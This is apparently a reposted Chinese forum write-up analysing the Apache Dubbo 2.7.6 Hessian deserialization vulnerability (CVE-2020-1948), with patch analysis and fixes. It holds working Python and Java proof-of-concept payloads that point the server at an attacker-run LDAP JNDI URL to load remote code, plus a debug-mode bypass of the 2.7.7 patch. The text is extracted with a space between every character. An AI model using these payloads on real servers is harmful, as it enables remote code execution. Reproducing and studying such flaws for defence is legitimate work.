搜索

[28401] 2020-07-09_ApacheDubbo2.7.6反序列化入侵复现及分析

文档创建者：s7ckTeam
浏览次数：247
最后更新：2025-01-19
2020-07-09_ApacheDubbo2.7.6反序列化入侵复现及分析 A p a c h e   D u b b o   2 . 7 . 6 反 序 列 化 入 侵 复 现 及 分 析 t o r n a d o   O t s 安 全   2 0 2 0 - 0 7 - 0 9 转 载 转 载 : 先 知 社 区 先 知 社 区   作 者 ： 作 者 ： t o r n a d o 简 介 简 介 1 .   D u b b o 从 大 的 尺 寸 上 将 是 R P C 框 架 ， 负 责 封 装 R P C 调 用 ， 支 持 很 多 R P C 协 议 2 .   R P C 协 议 包 括 了 d u b b o ， r m i ， h e s s i a n ， w e b s e r v i c e ， h t t p ， r e d i s ， r e s t ， t h r i f t ， m e m c a c h e d ， j s o n r p c 等 3 .   J a v a 中 的 序 列 化 有 J a v a 原 生 序 列 化 ， H e s s i a n 序 列 化 ， J s o n 序 列 化 ， d u b b o 序 列 化 图 片 来 源 ： h t t p s   :   / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 0 9 2 5 1 环 境 搭 建 环 境 搭 建 1 .   克 隆 项 目 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / a p a c h e / d u b b o - s p r i n g - b o o t - p r o j e c t . g i t g i t   c h e c k o u t   2 . 7 . 6 2 .   添 加 r o m e 依 赖 d u b b o - s p r i n g - b o o t - s a m p l e s 文 件 夹 ， 在 p r o v i d e r - s a m p l e 文 件 夹 下 的 p o m 里 添 加 3 .   启 动 服 务 端 < d e p e n d e n c y >           < g r o u p I d > c o m . r o m e t o o l s < / g r o u p I d >           < a r t i f a c t I d > r o m e < / a r t i f a c t I d >           < v e r s i o n > 1 . 7 . 0 < / v e r s i o n >   < / d e p e n d e n c y >
复 现 复 现 p y t h o n 版 本 版 本 #   - * -   c o d i n g :   u t f - 8   - * - #   R u i l i n #   p i p 3   i n s t a l l   d u b b o - p y f r o m   d u b b o . c o d e c . h e s s i a n 2   i m p o r t   D e c o d e r , n e w _ o b j e c t f r o m   d u b b o . c l i e n t   i m p o r t   D u b b o C l i e n t c l i e n t   =   D u b b o C l i e n t ( ' 1 9 2 . 1 6 8 . 2 . 1 ' ,   1 2 3 4 5 ) J d b c R o w S e t I m p l = n e w _ o b j e c t (         ' c o m . s u n . r o w s e t . J d b c R o w S e t I m p l ' ,         d a t a S o u r c e = " l d a p : / / 1 9 2 . 1 6 8 . 2 . 2 : 1 3 8 9 / n n y v b t " ,         s t r M a t c h C o l u m n s = [ " f o o " ]         ) J d b c R o w S e t I m p l C l a s s = n e w _ o b j e c t (         ' j a v a . l a n g . C l a s s ' ,         n a m e = " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " ,         ) t o S t r i n g B e a n = n e w _ o b j e c t (         ' c o m . r o m e t o o l s . r o m e . f e e d . i m p l . T o S t r i n g B e a n ' ,         b e a n C l a s s = J d b c R o w S e t I m p l C l a s s ,         o b j = J d b c R o w S e t I m p l         ) r e s p   =   c l i e n t . s e n d _ r e q u e s t _ a n d _ r e t u r n _ r e s p o n s e (         s e r v i c e _ n a m e = ' a n y _ n a m e ' ,         m e t h o d _ n a m e = ' a n y _ m e t h o d ' ,         a r g s = [ t o S t r i n g B e a n ] ) p r i n t ( r e s p ) j a v a 版 本 版 本 增 加 接 口 方 法 S t r i n g   r c e T e s t ( O b j e c t   o ) ; 实 现 接 口 方 法 @ O v e r r i d e p u b l i c   S t r i n g   r c e T e s t ( O b j e c t   o )   {   r e t u r n   " p w n e d " ; } 客 户 端 增 加 调 用 o r g . a p a c h e . d u b b o . s p r i n g . b o o t . d e m o . p r o v i d e r . b o o t s t r a p . D u b b o A u t o C o n f i g u r a t i o n P r o v i d e r B o o t s t r a p 1 .   D e m o S e r v i c e 2 .   D e f a u l t D e m o S e r v i c e 3 .   D u b b o A u t o C o n f i g u r a t i o n C o n s u m e r B o o t s t r a p
4 .   运 行 p r o v i d e r 服 务 者 ， 再 运 行 c o n s u m e r 消 费 者 ， 触 发 漏 洞 流 量 开 头 的 为 d u b b o 流 量 ， 提 出 后 可 以 直 接 用 s o c k e t 发 送 触 发 漏 洞 分 析 分 析 p y t h o n 版 本 触 发 点 版 本 触 发 点 p y t h o n 版 本 p o c 成 功 触 发 的 关 键 点 在 于 ， 通 过 构 造 一 个 不 存 在 的 p u b l i c   A p p l i c a t i o n R u n n e r   r u n n e r ( )   t h r o w s   E x c e p t i o n   {   O b j e c t   o   =   g e t P a y l o a d ( ) ;   r e t u r n   a r g s   - >   l o g g e r . i n f o ( d e m o S e r v i c e . r c e T e s t ( o ) ) ; } p r i v a t e   s t a t i c   O b j e c t   g e t P a y l o a d ( )   t h r o w s   E x c e p t i o n   {   S t r i n g   j n d i U r l   =   " l d a p : / / 1 9 2 . 1 6 8 . 2 . 2 : 1 3 8 9 / s g 5 6 v h " ;   T o S t r i n g B e a n   b e a n   =   n e w   T o S t r i n g B e a n ( J d b c R o w S e t I m p l . c l a s s ,   J D K U t i l . m a k e J N D I R o w S e t ( j n d i U r l ) ) ;   E q u a l s B e a n   r o o t   =   n e w   E q u a l s B e a n ( T o S t r i n g B e a n . c l a s s ,   b e a n ) ;   r e t u r n   J D K U t i l . m a k e M a p ( r o o t ,   r o o t ) ; } 0 x d a b b o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D u b b o C o d e c . d e c o d e B o d y ( ) o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D e c o d e a b l e R p c I n v o c a t i o n . d e c o d e ( ) o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . C a l l b a c k S e r v i c e C o d e c . d e c o d e I n v o c a t i o n A r g u m e n t ( ) o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D u b b o P r o t o c o l . g e t I n v o k e r ( ) j a v a . l a n g . S t r i n g B u i l d e r . a p p e n d ( ) j a v a . l a n g . S t r i n g . v a l u e O f ( ) o r g . a p a c h e . d u b b o . r p c . R p c I n v o c a t i o n . t o S t r i n g ( ) c o m . r o m e t o o l s . r o m e . f e e d . i m p l . T o S t r i n g B e a n . t o S t r i n g ( ) c o m . s u n . r o w s e t . J d b c R o w S e t I m p l . g e t D a t a b a s e M e t a D a t a ( ) c o m . s u n . r o w s e t . J d b c R o w S e t I m p l . c o n n e c t ( ) j a v a x . n a m i n g . I n i t i a l C o n t e x t . l o o k u p ( ) s e r v i c e _ n a m e
使 得 服 务 端 获 取 不 到 期 望 的 D u b b o E x p o r t e r 进 而 抛 出 异 常 ， 而 在 输 出 异 常 信 息 的 时 候 进 行 了 字 符 串 拼 接 进 而 调 用 了 隐 含 的 t o S t r i n g 方 法 ， 所 以 能 够 通 过 构 造 的 恶 意 对 象 的 t o S t r i n g 方 法 触 发 漏 洞 那 么 关 键 点 就 在 异 常 处 理 部 分 了 ， 也 正 是 r u i 0 提 出 的 “ 后 反 序 列 化 漏 洞 ” 的 利 用 场 景 ， 重 点 来 看 一 下 / / d u b b o   2 . 7 . 3 i f   ( e x p o r t e r   = =   n u l l )   {         t h r o w   n e w   R e m o t i y i c n g E x c e p t i o n ( c h a n n e l ,   " N o t   f o u n d   e x p o r t e d   s e r v i c e :   "   +   s e r v i c e K e y   +   "   i n   "   +   t h i s . e x p o r t e r M a p . k e y S e t ( )   +   " ,   m a y   b e   v e r s i o n   o r   g r o u p   m i s m a t c h   ,   c h a n n e l :   c o n s u m e r :   "   +   c h a n n e l . g e t R e m o t e A d d r e s s ( )   +   "   - - >   p r o v i d e r :   "   +   c h a n n e l . g e t L o c a l A d d r e s s ( )   +   " ,   m e s s a g e : "   +   i n v ) ; }   e l s e   {         r e t u r n   e x p o r t e r . g e t I n v o k e r ( ) ; } d u b b o   2 . 7 . 3 版 本 中 ， 抛 出 异 常 部 分 直 接 拼 接 了 i n v ， 此 时 i n v 为 对 象 ， 并 且 值 为 我 们 设 置 的 对 象 ， 在 对 其 直 接 进 行 字 符 串 拼 接 时 会 触 发 S t r i n g . a p p e n d - > S t r i n g . v a l u e O f - > o b j . t o S t r i n g ( ) ， 进 而 将 进 行 t o s t r i n g 触 发 漏 洞 而 在 2 . 7 . 5 之 后 的 版 本 中 ， t h r o w   R e m o t i y i c n g E x c e p t i o n 部 分 变 成 了 o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D u b b o P r o t o c o l . g e t I n v o k e r ( ) D e c o d e a b l e R p c I n v o c a t i o n a r g u m e n t s T o S t r i n g B e a n T o S t r i n g B e a n
/ / d u b b o   2 . 7 . 5 i f   ( e x p o r t e r   = =   n u l l )   {         t h r o w   n e w   R e m o t i n g E x c e p t i o n ( c h a n n e l ,   " N o t   f o u n d   e x p o r t e d   s e r v i c e :   "   +   s e r v i c e K e y   +   "   i n   "   +   t h i s . e x p o r t e r M a p . k e y S e t ( )   +   " ,   m a y   b e   v e r s i o n   o r   g r o u p   m i s m a t c h   ,   c h a n n e l :   c o n s u m e r :   "   +   c h a n n e l . g e t R e m o t e A d d r e s s ( )   +   "   - - >   p r o v i d e r :   "   +   c h a n n e l . g e t L o c a l A d d r e s s ( )   +   " ,   m e s s a g e : "   +   t h i s . g e t I n v o c a t i o n W i t h o u t D a t a ( i n v ) ) ; }   e l s e   {         r e t u r n   e x p o r t e r . g e t I n v o k e r ( ) ; } 注 意 到 对 i n v 经 过 了 处 理 ， 这 个 处 理 是 这 样 的 ： / / o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D u b b o P r o t o c o l p r i v a t e   I n v o c a t i o n   g e t I n v o c a t i o n W i t h o u t D a t a ( I n v o c a t i o n   i n v o c a t i o n )   {         i f   ( t h i s . l o g g e r . i s D e b u g E n a b l e d ( ) )   {                 r e t u r n   i n v o c a t i o n ;         }   e l s e   i f   ( i n v o c a t i o n   i n s t a n c e o f   R p c I n v o c a t i o n )   {                 R p c I n v o c a t i o n   r p c I n v o c a t i o n   =   ( R p c I n v o c a t i o n ) i n v o c a t i o n ;                 r p c I n v o c a t i o n . s e t A r g u m e n t s ( ( O b j e c t [ ] ) n u l l ) ;                 r e t u r n   r p c I n v o c a t i o n ;         }   e l s e   {                 r e t u r n   i n v o c a t i o n ;         } } 可 以 看 到 将 i n v o c a t i o n 中 的 值 处 理 成 了 空 ， 经 过 这 个 处 理 之 后 后 续 的 t o S t r i n g 利 用 链 就 无 法 继 续 下 去 ， 起 到 了 第 一 层 防 御 效 果 ， 因 此 通 过 设 置 为 恶 意 对 象 的 方 法 就 无 法 在 2 . 7 . 5 版 本 以 上 触 发 。 相 关 c o m m i t 可 以 在 这 里 看 到 J a v a 版 本 触 发 点 版 本 触 发 点 下 面 讨 论 一 下 j a v a 版 本 p o c 为 什 么 在 解 决 了 异 常 处 理 的 t o S t r i n g 后 还 是 能 触 发 漏 洞 ？ g e t I n v o c a t i o n W i t h o u t D a t a a r g u m e n t s a r g u m e n t s o r g . a p a c h e . d u b b o . r e m o t i n g . t r a n s p o r t . D e c o d e H a n d l e r . d e c o d e ( ) o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D e c o d e a b l e R p c I n v o c a t i o n . d e c o d e ( ) o r g . a p a c h e . d u b b o . c o m m o n . s e r i a l i z e . h e s s i a n 2 . H e s s i a n 2 O b j e c t I n p u t . r e a d O b j e c t ( ) c o m . a l i b a b a . c o m . c a u c h o . h e s s i a n . i o . H e s s i a n 2 I n p u t . r e a d O b j e c t ( ) c o m . a l i b a b a . c o m . c a u c h o . h e s s i a n . i o . M a p D e s e r i a l i z e r . r e a d M a p ( ) c o m . a l i b a b a . c o m . c a u c h o . h e s s i a n . i o . M a p D e s e r i a l i z e r . d o R e a d M a p ( ) j a v a . u t i l . H a s h M a p . p u t ( ) - > h a s h ( ) - > h a s h C o d e ( ) c o m . r o m e t o o l s . r o m e . f e e d . i m p l . E q u a l s B e a n . b e a n H a s h C o d e ( ) c o m . r o m e t o o l s . r o m e . f e e d . i m p l . T o S t r i n g B e a n . t o S t r i n g ( ) c o m . s u n . r o w s e t . J d b c R o w S e t I m p l . g e t D a t a b a s e M e t a D a t a ( ) c o m . s u n . r o w s e t . J d b c R o w S e t I m p l . c o n n e c t ( ) j a v a x . n a m i n g . I n i t i a l C o n t e x t . l o o k u p ( )
除 了 上 面 的 c o m m i t 修 复 了 异 常 处 理 中 的 t o S t r i n g 外 ， 官 方 还 提 交 了 一 个 P R 在 中 增 加 了 和 的 判 断 ， 在 没 有 补 丁 之 前 ， p t s 还 能 通 过 反 射 从 d e s c 中 获 取 到 ， 而 打 了 补 丁 后 ， 如 果 方 法 名 不 是 或 或 则 直 接 抛 出 S e r v i c e   n o t   f o u n d ， 因 此 当 用 p y t h o n 版 本 p o c 发 送 不 存 在 的 s e r v i c e _ n a m e 或 m e t h o d _ n a m e 时 ， 便 通 不 过 判 断 ， 也 就 无 法 利 用 。 上 述 判 断 条 件 是 当 传 入 的 参 数 类 别 从 对 应 的 方 法 中 获 取 不 到 的 时 候 进 行 的 ， 那 么 如 果 我 们 传 入 正 确 的 方 法 名 和 参 数 类 型 ， 该 条 件 就 不 成 立 ， 也 就 不 会 进 入 和 ， 从 而 绕 过 了 对 调 用 的 方 法 名 的 判 断 o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D e c o d e a b l e R p c I n v o c a t i o n . d e c o d e ( ) R p c U t i l s . i s G e n e r i c C a l l R p c U t i l s . i s E c h o $ i n v o k e $ i n v o k e A s y n c $ e c h o R p c U t i l s . i s G e n e r i c C a l l R p c U t i l s . i s E c h o
因 此 我 们 重 新 实 现 一 下 客 户 端 代 码 ， 调 用 正 确 的 服 务 名 和 方 法 名 ， 并 传 入 构 造 的 m a p 对 象 ， 便 能 再 次 触 发 漏 洞 。 触 发 条 件 ： 必 须 知 道 服 务 端 的 完 整 s e r v i c e   n a m e 和 方 法 名 ， 同 时 该 方 法 需 要 能 接 收 m a p 或 o b j e c t 对 象 ， 客 户 端 才 能 通 过 正 确 的 服 务 名 和 方 法 名 去 调 用 ， 否 则 是 无 法 触 发 的 。 2 . 7 . 7 绕 过 绕 过 上 面 分 析 了 C V E - 2 0 2 0 - 1 9 4 8 ， 看 似 补 丁 修 复 了 漏 洞 ， 但 之 后 又 有 讨 论 说 在 2 . 7 . 7 上 又 存 在 绕 过 ， 下 面 也 来 分 析 一 下 还 是 看 方 法 ， 注 意 到 在 设 置 为 空 之 前 有 这 么 两 行 代 码 i f   ( t h i s . l o g g e r . i s D e b u g E n a b l e d ( ) )   {         r e t u r n   i n v o c a t i o n ; } 这 就 是 说 如 果 p r o v i d e r 是 以 d e b u g 模 式 启 动 的 ， 那 么 会 直 接 返 回 对 象 。 。 。 配 置 一 下 服 务 端 启 动 的 日 志 级 别 ， 然 后 修 改 p y t h o n 版 本 p o c 的 为 ， 成 功 绕 过 2 . 7 . 7 补 丁 （ 还 需 要 注 意 服 务 名 是 否 匹 配 和 服 务 版 本 号 的 问 题 ） g e t I n v o c a t i o n W i t h o u t D a t a a r g u m e n t s i n v o c a t i o n m e t h o d _ n a m e $ i n v o k e
< ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < c o n f i g u r a t i o n   s c a n = " t r u e " >         < l o g g e r   n a m e = " c o m . a l i b a b a . d u b b o "   l e v e l = " D E B U G " / > < / c o n f i g u r a t i o n > 小 结 小 结 上 面 两 种 触 发 方 式 是 不 一 样 的 ， 一 个 是 利 用 异 常 处 理 中 存 在 设 计 不 足 ， 使 得 可 以 执 行 用 户 可 控 参 数 的 t o S t r i n g 方 法 ， 也 即 “ 后 反 序 列 化 ” 利 用 思 路 ， 另 一 个 是 直 接 反 序 列 化 h e s s i a n 2 数 据 ， 期 间 对 h a s h m a p 的 操 作 进 入 t o S t r i n g ， 从 调 用 栈 上 也 能 看 出 两 者 的 区 别 。 修 复 方 式 修 复 方 式 按 照 d u b b o / p u l l / 6 3 7 4 建 议 的 方 法 ， 给 加 上 校 验 ， 严 格 限 制 类 型 为 ， 同 时 建 议 参 考 s o f a - h e s s i a n 给 反 序 列 化 加 上 黑 名 单 P a r a m e t e r T y p e s D e s c L j a v a / l a n g / S t r i n g ; [ L j a v a / l a n g / S t r i n g ; [ L j a v a / l a n g / O b j e c t ;
参 考 参 考 h t t p s : / / w w w . m a i l - a r c h i v e . c o m / d e v @ d u b b o . a p a c h e . o r g / m s g 0 6 5 4 4 . h t m l h t t p : / / r u i 0 . c n / a r c h i v e s / 1 3 3 8 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 9 7 6 5 8 h t t p s : / / g i t h u b . c o m / a p a c h e / d u b b o / p u l l / 6 3 7 4 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理